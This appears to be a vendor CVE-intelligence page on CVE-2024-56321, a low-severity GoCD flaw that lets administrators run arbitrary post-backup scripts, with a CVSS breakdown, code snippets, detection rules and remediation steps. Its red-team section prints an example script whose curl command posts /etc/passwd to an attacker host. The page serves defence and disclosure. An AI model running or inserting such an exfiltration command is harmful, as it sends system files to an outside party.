☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-56321

CVE-2024-56321 Supply Chain Attack in Gocd
📅 PUBLISHED: 2025-01-03 15:41 UTC 🔄 UPDATED: 2026-09-23 20:36 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.55%
👁️
0.55% probability
13.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
3.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-56321 is a vulnerability in GoCD, a continuous delivery server, affecting versions 18.9.0 through 24.4.0. The flaw allows GoCD administrators to abuse the backup configuration "post-backup script" feature to execute arbitrary scripts on the hosting server or container as the GoCD user, rather than only pre-configured scripts. While the impact is limited in typical deployments where GoCD admins also have host administration permissions, it poses a risk in restricted environments where these roles are separated. The vulnerability is fixed in GoCD 24.5.0, which restricts script execution from sensitive locations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the GoCD application, which is a standalone server software. It is not a package library (NPM, PyPI, Go, Ruby) but rather a deployable application. Therefore, supply chain package security considerations are not directly applicable. However, organizations using GoCD should ensure they are running the latest patched version (24.5.0 or later) to mitigate this and other potential vulnerabilities.

CVSS Breakdown & Threat Level

  • CVSS Score: 3.8 (Low)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
  • Attack Complexity: Low (AC:L) – No special conditions are required for exploitation.
  • Privileges Required: High (PR:H) – An attacker must have GoCD admin privileges.
  • User Interaction: None (UI:N) – No user interaction is required.
  • Scope: Unchanged (S:U) – The vulnerability does not affect resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited information disclosure is possible.
  • Integrity Impact: Low (I:L) – Limited modification of data is possible.
  • Availability Impact: None (A:N) – No impact on availability.

Threat Level: Low. The vulnerability requires high privileges (GoCD admin) and has limited impact. However, in environments where GoCD admin and host admin roles are separated, it could be exploited for privilege escalation or lateral movement.

Deep Dive & Mechanics

The vulnerability resides in the backup configuration feature of GoCD. Administrators can configure a "post-backup script" to run after a backup is completed. In vulnerable versions, this script is executed with the privileges of the GoCD user, but the script path is not properly validated. An admin can specify an arbitrary script path, potentially pointing to a script they control, leading to arbitrary code execution.

The core issue is a lack of path validation or restriction on where the post-backup script can reside. In the patched version (24.5.0), GoCD restricts execution to scripts located within specific, non-sensitive directories, preventing abuse.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-24.5.0): The backup configuration allows specifying any script path without validation.

// Vulnerable: No path restriction
String scriptPath = backupConfig.getPostBackupScript();
ProcessBuilder pb = new ProcessBuilder(scriptPath);
pb.start();

Patched Code (24.5.0+): The script path is validated to ensure it is within allowed directories.

// Patched: Path validation
String scriptPath = backupConfig.getPostBackupScript();
if (!isAllowedScriptPath(scriptPath)) {
    throw new SecurityException("Script path not allowed: " + scriptPath);
}
ProcessBuilder pb = new ProcessBuilder(scriptPath);
pb.start();

private boolean isAllowedScriptPath(String path) {
    // Only allow scripts from specific directories
    return path.startsWith("/opt/gocd/scripts/") || path.startsWith("/var/lib/go-server/scripts/");
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Access to GoCD web UI with admin credentials.
  • Ability to modify backup configuration.

Steps:

  1. Log in to GoCD as an admin.
  2. Navigate to Admin > Backup.
  3. In the "Post-backup script" field, enter the path to a malicious script (e.g., /tmp/evil.sh).
  4. Create the malicious script on the server (if you have write access) or use an existing script.
  5. Trigger a backup manually or wait for the scheduled backup.
  6. The script executes with GoCD user privileges.

Example Malicious Script (/tmp/evil.sh):

#!/bin/bash
# Exfiltrate sensitive data
curl -X POST -d @/etc/passwd http://attacker.com/exfil

Note: In practice, exploitation requires the attacker to already have admin access, which limits the impact.

Blue Team (Defense & Detection)

Detection:

  • Monitor for unusual script execution from the GoCD user.
  • Audit backup configuration changes.
  • Monitor network connections from the GoCD server to unknown destinations.

Prevention:

  • Upgrade to GoCD 24.5.0 or later.
  • Restrict GoCD admin access to trusted personnel only.
  • Implement host-level monitoring for unexpected process execution.

Indicators of Compromise (IOCs)

  • File Paths: Unusual script paths in backup configuration (e.g., /tmp/, /dev/shm/, /var/tmp/).
  • Process Execution: Execution of scripts from non-standard locations by the GoCD user.
  • Network Connections: Outbound connections from the GoCD server to suspicious IPs or domains.
  • Log Entries: Backup logs showing execution of unexpected scripts.

Detection Engineering

YARA Rule

rule CVE_2024_56321_GoCD_Backup_Script_Abuse {
    meta:
        description = "Detects potential abuse of GoCD post-backup script feature"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56321"
    strings:
        $s1 = "postBackupScript" nocase
        $s2 = "backup" nocase
        $s3 = "script" nocase
    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: GoCD Post-Backup Script Abuse
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of arbitrary scripts via GoCD backup configuration
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-56321
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/bin/bash'
        CommandLine|contains: '/tmp/'
    condition: selection
falsepositives:
    - Legitimate scripts in /tmp/ by other processes
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56321 GoCD Backup Script Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/exfil"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade GoCD: Update to version 24.5.0 or later, which restricts post-backup script execution to allowed directories.
  2. Review Admin Access: Audit and restrict GoCD admin privileges to only necessary personnel.
  3. Monitor Backup Configurations: Regularly review backup configuration changes for unauthorized modifications.

Long-term Measures:

  • Implement the principle of least privilege for GoCD admins.
  • Use host-level security controls (e.g., SELinux, AppArmor) to restrict the GoCD user.
  • Enable logging and alerting for backup script execution.

Workarounds:

  • No official workarounds are available. Upgrading is the only solution.

Valters IT
Securing Your Digital Frontier

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-56321/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.